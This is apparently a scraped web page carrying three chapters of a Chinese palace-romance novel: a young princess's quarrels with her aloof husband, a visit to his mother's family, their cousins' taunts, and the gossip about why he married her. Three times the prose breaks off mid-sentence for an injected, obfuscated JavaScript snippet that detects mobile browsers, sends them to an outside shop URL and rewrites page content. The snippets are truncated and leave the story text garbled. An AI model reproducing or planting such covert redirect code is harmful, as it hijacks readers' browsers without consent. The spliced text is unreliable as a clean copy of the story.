宝楹“哼”了一声:“你们有什么好不安生的,殿下的丈母娘给你们倒茶,也没见你们不安生。” 一番话说得四人脸色皆变。 往常她们拿话挤兑,王妃也从不计较,她们只当她是锯嘴的葫芦,何曾想竟有这么伶牙俐齿的时候? 偏偏殿下打发了她们四个来接人,万一惹恼了她,闹起脾气来不肯回去,那她们怎么在殿下面前交差? 白露四人只得起身朝珍娘赔礼:“婢子们有失分寸,太太莫怪。” 珍娘有些无福消受,看这几个婢女的排场,只怕寻常人家的小姐都比不了,自己哪敢受她们的礼,免得这些骄婢回头给她的宝楹穿小鞋。 她开口劝道:“宝儿,既然王府来人了,便早些回去吧,殿下也挂念你呢。” “是啊王妃,赶紧回去吧。” 白露等人纵使不情愿,此刻也不得不放低姿态来恳求她。 宝楹难得见她们这样低声下气,一时心情大好,也忘了跟宗铎的不愉快,高高兴兴地登上了回燕王府的马车。 回到王府,第一件事就是给摔伤的膝盖上药。 她膝盖的破皮处结了块小痂,珍娘特意吩咐过了,要早晚在上面抹上药膏,到时痂一脱落,皮肤上才不会留疤点。 主仆俩对珍娘的话奉为圭臬。 宝楹坐在贵妃榻边,赤足搭在脚凳上,洒花绫裤挽至膝头,小帘坐在下首的杌子上,两人正聚精会神地上着药,忽然听见珠帘撞出一阵碎响,抬头望去,竟是宗铎走了进来。 他今日穿一身黛青色的束腰箭袖,挺括的丝帛衬得他英姿飒然,只是一张俊容略显苍白,再加上那副淡冷的神情,简直像一尊冰雕的美人。 宝楹看了眼屋角摆的冰鉴,不合时宜地想:把她这夫君摆在角落,也能起到生凉祛暑的效果。 这样一想,她又忍不住笑出声来。 宗铎面无表情地看着她,等她乐够了,方冷冷开口道:“你前天给我吃的东西,里面到底下了什么?” 还能下什么? 宝楹都不计较前天的事了,见他还咬着不放,顿时有些不高兴了。她掰着指头数:“不就是乌鸡一只、参片二钱、当归三钱、鹿茸二钱……” “姑娘。”小帘怯生生地提醒,“那包鹿茸,全都下进汤里了……” “啊,对。”宝楹忽然想起来,小心翼翼地瞅了瞅他的神色,“鹿茸下了二两。” 宗铎望向她的目光骤凝,那向来冷静的脸色变了又变,最终染上一丝怒意洇出的薄红。 “二两?”他额角的青筋跳了跳,强压着怒气道,“十个人都用不上那么多,你全给我吃了?” “抱歉啊,我真不是故意的。”宝楹诚挚地认错,又赶紧替自己辩解,“虽然下多了是有点浪费,可、可鹿茸是好东西,你吃了也不亏啊。” 她一边说着,一边忍不住用乌溜溜的大眼睛打量他。 宗铎立在罩屏边,身姿挺拔清逸、如松列翠。看他精神这么好,未必没有她那二两鹿茸的功劳。 见他不接茬,她又讷讷道:“那,大不了我下次注意嘛。” “还有下次?” 宗铎冷笑一声,可看她那呆头呆脑的样子,跟她计较又委实自降身份。 沉默片刻,他转头看向一旁的小帘:“还不快给你主子上药?” “啊?”小帘愣了一下。 “再不快些,只怕伤口都要愈合了!” 宗铎冷冷丢下一句话,转身拂袖而去。 主仆二人面面相觑。 “他这是什么意思?”宝楹问道。 “呃。”小帘觑了眼她膝盖上结的小痂,吞吞吐吐道,“殿下好像在讽刺咱们小题大做呢!” 宝楹气坏了。她决定再也不理他了。 夏日渐深,蝉鸣阵阵,昭明殿的下人们忙着拿竹竿粘知了,生怕吵着了王妃。 可这寂静的庭院反倒失了些夏日该有的余韵,宝楹坐在窗边纳凉,望着外头的骄阳树影,百无聊赖地摇着纨扇。 刚嫁进来的新鲜一过,现在反而觉得大大的王府有些空寂。府里的下人虽多,可她们对着她毕恭毕敬的,宝楹很不习惯这种居高临下的感觉。 小帘给她出主意:“不然请如茵姑娘过来玩!” 宝楹早有此意,只是前两日跟宗铎赌气,连带着也不想跟孙姑姑说话。 不过现在既然有求于人,那她自然能屈能伸,赶紧派小帘去将孙姑姑请了过来。 听说她要请客,孙姑姑不置可否,只是笑道:“后日殿下要去一趟徐府。徐家是殿下的外家,王妃身为新妇,理应去拜见一下他们府上的老夫人。请卫姑娘过来做客之事,不如延缓几日。” 宝楹一听是这个理,只得打消了这个念头,转头跟孙姑姑打听起徐家的事来。 孙姑姑告诉她,徐阁老有三子四女,徐家大爷在京外做官,二爷三爷则分别在京师的兵部和工部任职。徐贤妃是徐阁老的次女,膝下仅有宗铎一子。 宝楹在心里暗暗对比了一下,宗铎和徐家的关系,岂不就是她和卫家的关系。 虽然心里还生着他的气,可宝楹不会因此迁怒他的亲人。身为外孙媳妇,她确实应该好好拜见一下他的外祖母。 是以她相当重视这次拜访,虽不必穿正式的王妃冠服,宝楹还是认真搭配了衣着,挑了件红白间色的花绫裙,外罩雀蓝色通袖纱袍,看起来典雅又大方,亦不致喧宾夺主。 到出门这日,前往徐府的车驾已在王府门口整毕待发,宝楹一看只有一驾马车,说什么也不肯跟宗铎同乘。 孙姑姑在一旁苦口婆心地劝道:“王妃伴殿下出行,哪有不一同进出的道理?让有心人看到,只怕要误会殿下跟王妃离心离德。” 宝楹哼了一声:“那也不怪人家误会,你们殿下就是对我恶语相向呀!” 孙姑姑还欲再劝,宗铎的声音从车舆里传出来:“不愿意坐车,那就让王妃自己走过去。来人,起驾!” “是!”车夫唱了一声喏,扬起了手里的马鞭。 宝楹急了,忙双手拽住车辕,朝车厢里的宗铎怒目而视:“你、你欺人太甚!” 华服玉冠的男人居高临下地俯视她:“我的耐心有限,不想走路就上来。” 人在屋檐下,不得不低头。 宝楹忍气吞声地踩着脚凳爬上去。王府的车辇高大宽敞,她要上去得颇费一番力气。 宗铎就安坐在里头,漠然看着她手脚并用地爬上来,一点搭把手的意思都没有。 上了马车,宝楹忿忿瞪了他一眼,挑了个离他最远的位置坐下。 宗铎垂眸看起了手中的文牍,对她幽怨的眼神视若无睹。 马车驶出御街,宝楹渐渐坐立难安起来。她天生好动不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149192|196416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好静,真受不了这种相对无言的诡异氛围。 她主动开口打破沉默:“喂,那鹿茸的事情,我已经给你道过歉了。你是不是也该给我道一下歉?” 宗铎侧目瞥她一眼:“道什么歉?” “你那天说的那些话。”她咬着唇,“很过分、很伤人的。” 他略一回想,却并不向她道歉,只是道:“我再说一遍,我没病,别自作聪明。” “你没病,那你为什么不跟我一起住?” 他冷冷道:“因为我对急于献身的女人没有兴趣。” 宝楹生气了。 他不道歉就算了,还把这些难听的话又说了一遍! “什么没有兴趣,你明明就是不行!吃二两鹿茸也不行!”她气得口不择言,搜肠刮肚来挖苦他,“你阳刚不振,你不是男人!你、你……” 说着说着她给自己说急眼了,干脆直接伸手往他身下探去。 还未近身,手腕便被他一把扼住。 靠得近了,她清晰地看到他那双乌眸里氤氲着的怒火,声音也不似方才那般沉静:“我不喜欢跟人肢体接触,别让我说第三次!” 宝楹被那冷冽的目光吓住了。 她要缩回手,却被他那硬如铁棱的手指紧紧箍扼,进退维谷。 “你把我弄疼了,快放开我!” 她又气又怕,语气也不由自主地放软下来。 宗铎一把掷开她的手。 “你太没有规矩了。”他冷冷道,“从明天开始,每天去跟孙姑姑学四个时辰的宫规。” 宝楹委屈地揉了揉被他攥得生疼的手,只见雪白的皓腕勒着数条修长的红痕,看着分外触目惊心。 她长这么大,何曾受过这种委屈。再一听他说的话,更是不争气地红了眼眶。 “我不要学规矩!”她抬眸怒视着他,清泪像泉水一样冒出来,“没规矩的人明明是你。你知不知道什么叫夫妻?太没有道理了,哪有把人娶回家当摆设的!” 她越说越委屈,眼泪像断线的珠子扑簌扑簌地掉下来。 “我喜欢自由自在,我喜欢无所事事,我不要一天学四个时辰的规矩。你、你太欺负人了!呜呜……” 宗铎浓眉微敛,有些头痛地看着面前哇哇大哭的少女。 “别哭了。” 宝楹不听,自顾哭得伤心。 “别哭了!”他轻喝一声。 宝楹吓了一跳,哭声顿止。 她睁大一双水濛泪眼望着他,卷翘的睫端凝着晶莹泪珠,眼尾的薄红直泛到鬓边去,带着我见犹怜的娇楚之态,令人不忍苛责。 宗铎的语气和软了些:“你听话,就不用学规矩。” 宝楹吸了吸鼻子,有些不情愿地点点头。 他丢过来一张帕子:“先把眼泪擦擦。” 宝楹瞥了眼那张绣金线的软帕,带着点不愿妥协的倔意,不肯接受他的施舍。 她自鼻端里哼了一声,从自己袖中摸出一张手帕,低着头细细擦掉了脸上的泪痕。 泪水化开她颊侧的胭脂,印了层薄淡绯色在雪白的素帕上。 宝楹知道她脸上的妆肯定花了,干脆就着泪湿的帕子,把脸上的胭脂都抹掉了。 她生得容光丰艳,擦掉那层胭脂并不减姝色,只是少了妆容带来的雍容雅重,更显出合乎年纪的清逸娇俏来。 宗铎垂下眸光,复又开口道:“别靠我这么近。” 宝楹忿然瞪了他一眼,他们之间隔着一个身位呢。就这样,他还要嫌弃她! 她一屁股挪到了最角落里坐着,别过脸去盯着板壁上的雕花,打定主意不再搭理他。 专心致志地数了一会儿雕花上的纹线,身边静默无声,宝楹又忍不住斜过眼偷偷瞟他。 宗铎正专注地看着手中文牍,脸上静若平湖,仿佛方才的争执半点不值得他放在心上。 明明是他把她弄哭的,却连哄一哄都不肯。 清晨的朝阳透过纱窗照在他薄薄的眼皮上,琥珀色的眸子泛着清透摄人的光泽。 宝楹忽然觉得,他就像冰雪砌出来的贵公子,哪怕外面被阳光晒化了,里头仍是冷冽的寒冰。 简而言之,淡漠、无趣,中看不中用。 还不如卫轩呢! 11. 他的表妹 徐府坐落在皇城西南角的时雍坊上,是京师最繁华的所在。 燕王府的驾辇抵临徐府门口,王府卫队已清出大街路段,徐家众人一早立在门口迎候。 宗铎下了马车,主动回头朝宝楹伸出手。 看着那修长的手指在日色下泛着如玉光泽,宝楹感到腕间被他扼过的地方隐隐作痛。 她虽心里憋着不痛快,却没有当着人前下他的面子,很赏脸地将手搭上他的手掌,借着他的搀扶下了马车。 只是收回手时,拿指甲狠狠在他掌心挠了一下。 宗铎神色不变,只是微微挑起眉尾瞥了她一眼。 宝楹心里暗笑。 徐家众人纷纷迎上来朝两人施礼。 徐阁老忙于政事,此番率众出迎的是徐家的两位老爷。 宝楹打眼一看,这两人跟她爹差不多的年纪,想来就是徐二老爷和徐三老爷,都是容长脸,瑞凤眼,看起来儒雅清茂,跟徐贤妃长得很像。 宝楹眨巴着眼睛把他们看了又看,最后目光落到宗铎脸上。都说外甥像舅,她怎么不觉得呢。 两位老爷迎着宗铎去了正堂,另有婢女过来引着宝楹入了轿厅,一路坐着轿子去老夫人的福惠堂。 一路的景致与王府的恢弘不同,徐府是官邸,不能逾制建殿,然而亭台楼阁皆是飞檐翘角,别有一番华贵典雅。 徐家的两位太太候在福惠堂门口迎她,接了宝楹下轿子,一人一边携了她两只手,交口称赞道:“王妃真是玉人一般,快随我们进去见见老太太。老太太最疼的就是殿下,见了外孙媳妇,还不知道要高兴成什么样。” 宝楹见这两个珠围翠绕的贵妇人没有半分架子,心下不由稍安,随着她们进了福惠堂。 上首的罗汉床上端坐着一个满头银丝的老妇人,两边脚踏上坐着两个金枝玉叶的女孩子,年纪与她相仿,想来是徐家的小姐。 见她入内,那两位姑娘都站起身来,唯有老夫人仍安坐在位置上。 宝楹记得桂嬷嬷跟她说过,亲王妃的品级在一品夫人之上,因此除了宫里的娘娘,她不需要主动向任何人行礼。 这老夫人也没有上来向她行礼的意思,不过看她年纪摆在那,且又是宗铎的外祖母,宝楹自然不会跟她计较这个,便落落大方地走上前,朝她行了个万福礼。 那老夫人这才招手让她上前,拉着她在身边坐下。 宝楹好奇地打量着宗铎的外祖母。 她看着六十开外的年纪,样貌与徐贤妃颇为相似,只是少了贤妃眉眼间的凌厉之气。不过,老夫人虽慈眉善目,却盖不住举手投足间上位者的威仪。 与之相比,宝楹虽顶着王妃的头衔,实则不过是个十七岁的少女,在她面前道行简直不够看。 徐老夫人握着宝楹的双手,一对微浊的眼眸里却闪着精光,亦在不露痕迹地打量着她。 眼前的少女明光绝艳,恍如一朵清莹的白牡丹,尤其一对眼眸清澈灵动,不带一丝杂质,正满怀好奇地与她对视。 干净、纯真,没有一点城府。 这是徐老夫人对宝楹的第一印象。 她心内暗暗松了一口气,不动声色地瞟向站在一旁的两个孙女,唇角噙起一丝稳操胜券的笑。 “你们过来。” 老夫人招招手令那两位姑娘上前,亲自给宝楹介绍道:“我们徐家这一代姑娘少,统共就得了三位。大丫头嫁到了应天府去,这是二丫头,长房嫡出的女孩儿,叫兰月。这是三丫头,三房庶出的女孩,叫兰星。你们年纪倒是差不多,若是在王府嫌闷,可以常常叫她们过去跟你作伴。” 宝楹一看,这两姐妹真是人如其名。 徐兰月雪肤花貌,仪态万千,只是有些生人勿近的清冷;徐兰星则活泼一些,有如春后梨云,比她姐姐多一点可亲的娇俏。 徐老夫人拉着她说了一会儿话,便道乏回屋,让徐家姐妹尽尽地主之谊,陪她去园子里逛逛。 一路上,徐兰月不怎么说话,好在有徐兰星在中间调和,宝楹只当她是不爱说话,倒不觉得受到了怠慢,一路兴致勃勃地逛着徐家的园子。 徐家祖籍江南,当初建府时请了姑苏的园林大家操刀,历时五年方建成。如今过去数十年,园子于精巧中又添了岁月的底蕴,倒成了一处绝佳胜景。 饶是头一回踏足徐府的达官贵人都会为那巧夺天工的景致叹服,更别提宝楹这个没见过多少世面的小家碧玉。 她一路观景一路惊叹,毫不吝啬地表达着她的赞美。 那赞美落在旁人耳朵里又有了别样的意味,那是小家子气的、没见过世面的慨叹。 徐兰星抿出一个微笑,被燕王妃光环压着的悒郁消散了许多。 王妃又怎么样,不过是嫁得好点罢了。若非她撞大运嫁给了燕王,只怕这辈子也踏不进徐家的门。更何况,燕王也不是她一个人的燕王,他还是她们的表哥。 她有意杀杀宝楹的威风,朝着不远处的山房一指:“那处地势高,可以俯瞰整个园子,铎哥哥从前最喜欢那个去处。” 说到宗铎,宝楹便好奇起来,问道:“你们跟殿下很熟么?” 徐兰星有意在她面前吹嘘,便朝着徐兰月努力努嘴:“我二姐姐从前在宫里给荣安郡主当伴读,她跟铎哥哥是青梅竹马一块儿长大的。” 说到青梅竹马的表哥表妹,宝楹立刻联想到她和卫轩。 推己及人,既然宗铎和徐兰月是一块儿长大的,那想必没少欺负她。别看宗铎这个人寡言少语,欺负起人来还怪得心应手的。 她不无同情地看了徐兰月一眼,搜肠刮肚地想些话来安慰她:“二姑娘,你也别放在心上,从前的事横竖都过去了。” 徐兰月脸上的自得之色尚未消散,闻言不由脸色微变。 这话是什么意思?宣示主权?警告她不要再提过去的情分? 她冷冷瞥了宝楹一眼。 方才在福惠堂用膳时,她坐在下首看得清楚,宝楹的手腕上扼着一圈红痕。 燕王妃那样的身份,谁敢跟她动手?无非是宗铎。既然宗铎都不爱重她,那么这小官之女便没什么好忌惮的。 既然她敢在徐家摆王妃架子,那就是时候给她点颜色瞧瞧了。 徐兰月秀目一转,计上心来,转过话头道:“此间名为畅音阁,这里的朝向构造搭配上廊院的花木山石,可以让乐音传出很远,有声振林樾的效果。” 她转过头来,目光灼灼地盯着宝楹:“敢问王妃,琴瑟琵琶、笙管笛箫,你会哪一样?” “我都不会。”宝楹大大方方道,“不过我会唱歌。” “唱歌?”徐兰星嗤地一声笑出来。 闺阁贵女是不兴学唱歌的,要学就学那些管弦乐器,既可展示才情,又独有一份风雅。 “对呀!”宝楹还很自豪呢,她是真的有唱歌的天赋。从小到大,凡是听过的戏剧曲艺,她都能唱个八九不离十。 施大路曾经笑言,要是宝楹没有托生在他们家,去当个卖艺的小戏子也能养活自己,怄得珍娘三天没跟他说话。 徐兰月道:“那你唱一首歌儿给我听听吧。” 时值盛夏,南风微凉。 宝楹清了清嗓子,唱了一首《四时歌》: “朝登凉台上,夕宿兰池里。乘月采芙蓉,夜夜得莲子……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149193|196416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她并不是自夸,她的嗓音清泠婉转,听过的都说好听。这一曲声调唱出来,果然在畅音阁的加持下,悠扬地飘到对面的山房去了。 那山房里头,宗铎正与徐家的几位公子在桌案边讨论时政。徐沛嫌热坐不住,起身推开轩窗,听得外头松风送来飘渺的歌声。 那丝丝缕缕的歌声勾人心弦,像晨间水露般,沁润着夏日燥热的心脾。议事的声音渐渐地慢下来,众人分出心神去听外头的歌声。 宗铎回头看徐沛:“把窗关了,吵。” 徐沛笑道:“左右议不出个章程,不如出去走走。” 他一面迈步,一面看向徐大公子,“大哥,是什么人在畅音阁练歌?” 徐大公子也纳闷。 府里并未新进歌姬戏子,那些惯在风月场打滚的艺伎歌喉好是好,却少有能唱出那么轻快活泼的感觉。 众位公子亦作如是想,好奇着那唱歌之人的真章,便互相撺掇着往畅音阁走。 这会儿功夫,宝楹已经唱完一曲《四时歌》,却没等到众人喝彩,只见徐家从小姐到仆婢,虽是笑着,那笑里又藏着几许揶揄。 她终于察出一丝不对劲,觑了空悄悄问随侍身边的白露:“她们在笑什么?” 白露也在笑。 她本是徐家的家生子,后来被送进宫服侍贤妃,又被贤妃拨去服侍燕王妃,心里却仍把自己当徐家人,乐得看宝楹的笑话。 眼见主角对此无知无觉,那么取笑便少了几分乐趣。 白露看热闹不嫌事大,悄悄告诉她:“回王妃的话,二小姐这是在戏弄你,拿你当勾栏里唱曲儿的打发呢!” 宝楹大怒。 她素来不吃哑巴亏,噌噌噌走到徐兰月面前,斜着眼乜她:“敢问二姑娘,琴瑟琵琶、笙管笛箫,你会哪一样?” 徐兰月慢条斯理地搁下手中茶盏,不无骄傲地说道:“我都精通。” “那好,我想听琵琶曲儿,你奏来吧。” 徐兰月仍是慢条斯理道:“我习乐律,是为修身养性,不作娱人之用。抱歉,恕难从命。” 宝楹长长地“唔”了一声:“不会就不会嘛,还找那么冠冕堂皇的借口。” “谁说我不会?”徐兰月从没被人这样质疑过,一下子涨红了脸。 宝楹在她身边坐下来,学着她慢条斯理地喝茶:“你不敢奏,可不就是不会?” “谁说我不敢奏?” “那你奏来。” “这……”徐兰月哑口无言。 她若是奏了,那岂不是被反摆了一道,当着一众下人的面,她丢不起这个人。可若不奏,凭宝楹咬定她说谎,自己面上也无光。 白露见状忙道:“王妃莫要胡闹,得罪了二小姐,对你有什么好处?” 徐兰星亦开口替她姐姐解围:“王妃,我们徐家是钟鼎诗书人家,做不来那等献伎娱人的事,你不要强人所难!” “什么献伎娱人?”宝楹振振有词道,“我只不过是把二姑娘让我做的事也让她做一遍,怎么就成强人所难了?连‘己所不欲,勿施于人’的道理都不懂,还钟鼎诗书之家呢,‘终’鼎‘撕’书之家还差不多!” “你……” 徐兰月脸上青一阵白一阵,她们这样的贵女,即便与人口角也是绵里藏针,哪有宝楹那样直白上脸的,一时竟不知如何反驳。 “殿下来了!”“见过殿下。” 这当口,门外传来下人们乱乱的问安声。 阁中众人循声望去,见外头走入几个玉带金冠的华服公子,为首之人神色冷然,正是宗铎。 显然,方才那番争执已被他们尽收耳中。 12. 娶她的真相 宝楹一时呆住。 她说那番话,不过是为自己出气,哪里料到宗铎竟会突然出现在这里。 他听到她这样说他外祖家,肯定要气死了。 徐家姐妹也是面面相觑,徐兰星先发制人,抓住徐大公子的手臂便开始哭诉。 “大哥!王妃听说姐姐擅长音律,就逼姐姐弹琴给她听。姐姐不想,她便说这些话来抹黑我们徐家门楣……” “兰星!”徐兰月喝止她,款步走到宗铎面前盈盈一礼,“殿下,是兰月招待不周,怠慢了王妃。王妃只是一时口不择言,还望殿下勿怪。” 眼见宗铎的脸色越来越沉,徐兰月转头看向宝楹,姿态也放得越发柔婉,与方才冷傲的模样判若两人:“王妃,你想听什么曲子,兰月这就让人取琴来弹奏,只盼你不要将方才的事放在心上。” 宝楹震惊地看着这姐妹俩一唱一和。三言两语,反倒全成了她的不是。 “王妃过来!”宗铎冷冷开口。 宝楹将目光投向他,只见宗铎面沉如水,身后的几位徐家公子虽是笑着,不过却是一副看热闹的姿态。而徐家姐妹低着头楚楚可怜,仆婢们正低声安慰着她们。 她忽然意识到,这里就她一个外人。 宗铎虽是她的夫君,可是看他那样子,分明是跟徐家人站在一起的。 只有她一个人孤零零地站在他们的对立面。 大家都欺负她。 她委屈极了,一言不发地走到宗铎身侧,却没有同他辩解,而是撞开挡路的徐沛,提着裙子跑了出去。 徐沛一个八尺男儿被她撞得一个趔趄,不由揉了揉肩膀,没想到王妃个头不高,劲儿还挺大。 徐家姐妹讶然对视了一眼:她竟敢给燕王殿下甩脸子!随即又有点兴奋,这下她有理也要变没理了,看燕王一会儿怎么收拾她。 宗铎淡淡瞥了白露一眼,白露连忙追了出去。 他这才看向徐家众人,冷峻的目光扫过徐家姐妹,最后落在徐大公子的脸上。 “她对你们没有威胁,不必针对她。” 徐家姐妹一愣,面上顿时浮现出尴尬之色,正要辩解,又听宗铎一字一句说道: “施氏出身再低微,也是我的燕王妃。这样的事以后别让我再见到。” 虽只是轻飘飘的两句话,也足以叫徐家众人变了脸色。 徐氏姐妹更是犹如凭空被抽了两巴掌,脸上青一阵白一阵。 先前她们敢戏弄宝楹,不过仗着自己是宗铎的外亲之故。如今他当众斥责,两人难堪不已,垂着头不敢言语。 徐大公子蓦地收起方才漫不经心的笑意,肃然道:“舍妹无状,一会儿让她们当着祖母的面向王妃赔礼道歉。” 宗铎淡淡道:“姑娘家之间的玩笑,倒也不必闹到长辈面前,只是下不为例罢了。” 众人唯有喏喏应是。 这时白露又急匆匆地跑回来,见里头的氛围静得诡异,踟蹰不敢言语。 宗铎看她一眼:“怎么了?” “殿下,王妃她,她方才在路边摔了一跤,现在走不动道了。” 宗铎没说什么,迈步走了出去。 徐大公子回头看向妹妹们,恨铁不成钢地叹了口气:“该是你的,迟早会是你的。眼巴巴地过来给燕王妃下马威,难不成殿下脸上就好看?” 徐兰月低着头不说话。 徐兰星却忍不住争辩道:“大哥,要不是她横插一脚,现在的燕王妃该是二姐姐才对!我们只不过是跟她开个玩笑,殿下就那样护着她,以后哪里还有姐姐的容身之处!” “闭嘴!”徐大公子喝止她,“连这点动心忍性的本事都没有,就别说是徐家的女儿!” 徐兰月悄悄扯了扯徐兰星的衣角。 待四下无人后,她方对徐兰星说道:“大哥眼里只有大局,你跟他说那些话有什么用。” 她转头看向外头的照眼榴花,恨恨道:“我要进宫,去跟姑母告状!” 微风拂过,吹下一片红榴花瓣,飘飘扬扬地落在脚下。 宝楹低着头坐在石凳上,泪花在眼眶里打转转。 方才跑得急,不小心把脚扭到了。旧伤未愈,新伤又添。成亲不到半个月,她受的委屈简直比过去十七年加起来还要多。 远远见到白露领着宗铎走过来,宝楹连忙用手背把眼泪擦掉了。她才不要让宗铎看到她哭,免得遂了这些坏人的意。 见他走了过来,她没好气地扭过头去。 他肯定要怪罪她为难他的表妹,或者责问她为什么不听话。 她打定主意不理他。 可是都没有。 宗铎在她面前半蹲下来,抬起眼眸看着她:“扭到哪只脚了?” 枝叶扶疏,漏下几片光斑落在他的脸上,冰砌的人好像也有了点温度。 宝楹呆了一瞬,小心地把左脚伸出去。 端庄的王妃常服下藏着一双俏皮的猫头鞋,像她天真烂漫的性格,总时不时地在状况之外探出头来。 隔着罗袜,宗铎捏了捏她的脚踝,眼前却莫名浮现出她在院子里踩着木屐戏水的情景。 “没有伤及筋骨,上点药油就好了。”顿了顿,他忽然说道,“雨水不干净,以后别踩水玩。” 宝楹看着头顶的艳阳晴空愣住了。哪有下雨,她也没踩水玩呀。 她不解地望着宗铎。 他别开脸去,又轻咳了一声,道:“这次是徐家的不对,我代他们向你道歉。以后不会了。” 宝楹有些讶异,没想到高高在上的燕王殿下竟然还会道歉。可是后知后觉地,她心里反而更委屈了。 “他们不喜欢我,我想回王府去,不想在这待着了。” 她低着头道。 “我的事情没办完,晚些才能走。” 宗铎直起身来看了看树影的朝向,此时刚刚过午。他转头吩咐白露,“你带着王妃去客房暂歇,给她上点药油。” 白露忙应了一声,上前扶着宝楹站起来。 宝楹脚上还疼着呢,她眼巴巴地看着宗铎:“客房在哪啊,你要背我过去吗?” 宗铎没理她。 过了一会儿,有人抬着软轿过来,白露把她扶进了轿子里。 ……好吧,反正不用她自己走就行。 说是客房,其实是徐府专门为宗铎留出的一间雅室。虽然他并不常来,这里依旧打扫得纤尘不染。 时已过午,宝楹犯起困来,等白露给她抹好药油后便要睡中觉。 白露趁机跟她告假:“奴婢的家人就住在徐府后街上,难得出来一趟,奴婢想回家看看。” 宝楹允准。反正她和白露相看两厌,还不如一个人待着呢! 她相当随遇而安,在徐府的客房里也没半点拘束,只当是自己的屋子。打发走白露,她便脱了纱袍和外裙,只穿着一件抹胸和一条单裤,爬上床睡觉去了。 南风过窗,竹帘轻摇。庭树上的知了都被粘走了,只有风吹树叶的沙沙声,为炎炎夏日平添了几分凉意。 宝楹盖着薄衾,很快便睡着了。 宗铎此番拜访徐府,原是为了见他的外祖父徐阁老。偏巧徐阁老今日去了内阁值房,他只能留在徐府等其回来。 用过午膳,宗铎回到雅室里午憩。 因心里装着事情,进屋时又无人招呼,他一时竟忘了自己还带了个王妃过来,径直转过屏风走到内室里来了。 只见里头纱帐半挽,锦衾垂地,一幅海棠春睡的图景跃然眼前。 宝楹正躺在床上呼呼大睡,桃花双颊掩映在乌缎青丝里,豆粉色牡丹纹抹胸堪堪兜住两团软雪,水碧色花罗裤熨帖地裹着浑圆修直的双腿,身上的玲珑曲线伴着呼吸缓缓起伏。 宗铎的目光仿佛被帐中春色一烫,立刻别开了眼睛,转头走到外边去。 桌上摆着早间沏的茶水,他执起茶壶仰头饮尽,温凉的茶水一路灌进腹中,却怎么也压不下心头的躁动。 那二两鹿茸的威力确实不容小觑,已经过去了好几天,竟还能这么轻易地勾起邪火。 宗铎调息了半刻,好不容易将那道丰妍的身姿甩出脑海,可是一闭上眼,就想起那露在外头的圆圆肚脐。 宝楹是被热醒的。 睁开眼睛一看,不知道谁给她盖了一张薄衾, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149194|196416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将她脖子以下裹得严严实实。 她迷迷糊糊地掀了衾被坐起来,喊了两声小帘没人应,看着面前屋子陌生的陈设,缓了好一会儿才想起是在徐府。 宝楹活动了一下脚踝,上过药油以后果然好多了。她起身到面盆架边洗了把脸,踱到外间去准备倒碗茶喝,却发现茶壶已经空了。 什么诗书之家呀,一点待客之道都没有,也不知道给客人备点茶水。 她提着茶壶往耳房走,打算叫个小丫鬟来添茶,却听得耳房有人在窃窃私语,像是在讨论她。 “你见着没有?新王妃长得真美啊,恐怕用不了多久,殿下就忘了咱们二小姐!” “什么用不了多久?现在已经没有二小姐的立锥之地了!你怕不是不知道吧,上午在畅音阁,殿下为新王妃训斥了二小姐,方才二小姐回去哭了好久呢!” 什么二小姐?这里头怎么还有徐兰月的事? 宝楹听得疑窦丛生,干脆径直推门走进去。 里头的两个丫鬟一看是她,顿时惊得魂飞魄散,跪在地上抖如筛糠。 “王妃饶命,婢子们不是有意编排您的!” 宝楹纳闷极了,她又不吃人,这两人这么怕她干嘛? 不过她现在记挂着另一件事:“你们方才在说什么?殿下跟二姑娘是什么关系,什么叫殿下用不了多久就忘了她?” “这……”两个丫鬟对视一眼,支支吾吾不肯回答。 “不说是不是?”宝楹转了转眼睛,“那我就去跟殿下告状,说你们背地里骂他!” “王妃开恩!婢子们再不敢了!”两个丫鬟急得直摇手。 徐家治下很严,要是告到主子那儿去,尤其涉及到燕王殿下,那她们恐怕即刻要被家里人领走了。 两人吞吞吐吐地告诉宝楹,那徐兰月身为大老爷的嫡女,年纪又与宗铎相仿,原本是被徐家当成他未来的王妃培养的。 没想到宗铎临到说亲之时,却没有选择徐兰月,而是力排众议娶了宝楹这个七品小官之女。 徐家对此自是大为光火,所以今日宗铎携王妃来访,徐阁老都没露面。 宝楹恍然大悟,难怪那老夫人对她的态度不咸不淡,徐家姐妹更是对她有莫名的敌意,原来里头竟有这样一番内情! “你是说,殿下为了娶我,竟然还得罪他的阁老外公?” “是啊。反正阁老是很生气。”一个丫鬟瑟瑟发抖道,“殿下求皇上赐婚的理由是对王妃一见钟情,不过我们府上都在传,是因为殿下不想处处受徐家掣肘,所以才不肯娶二小姐。” 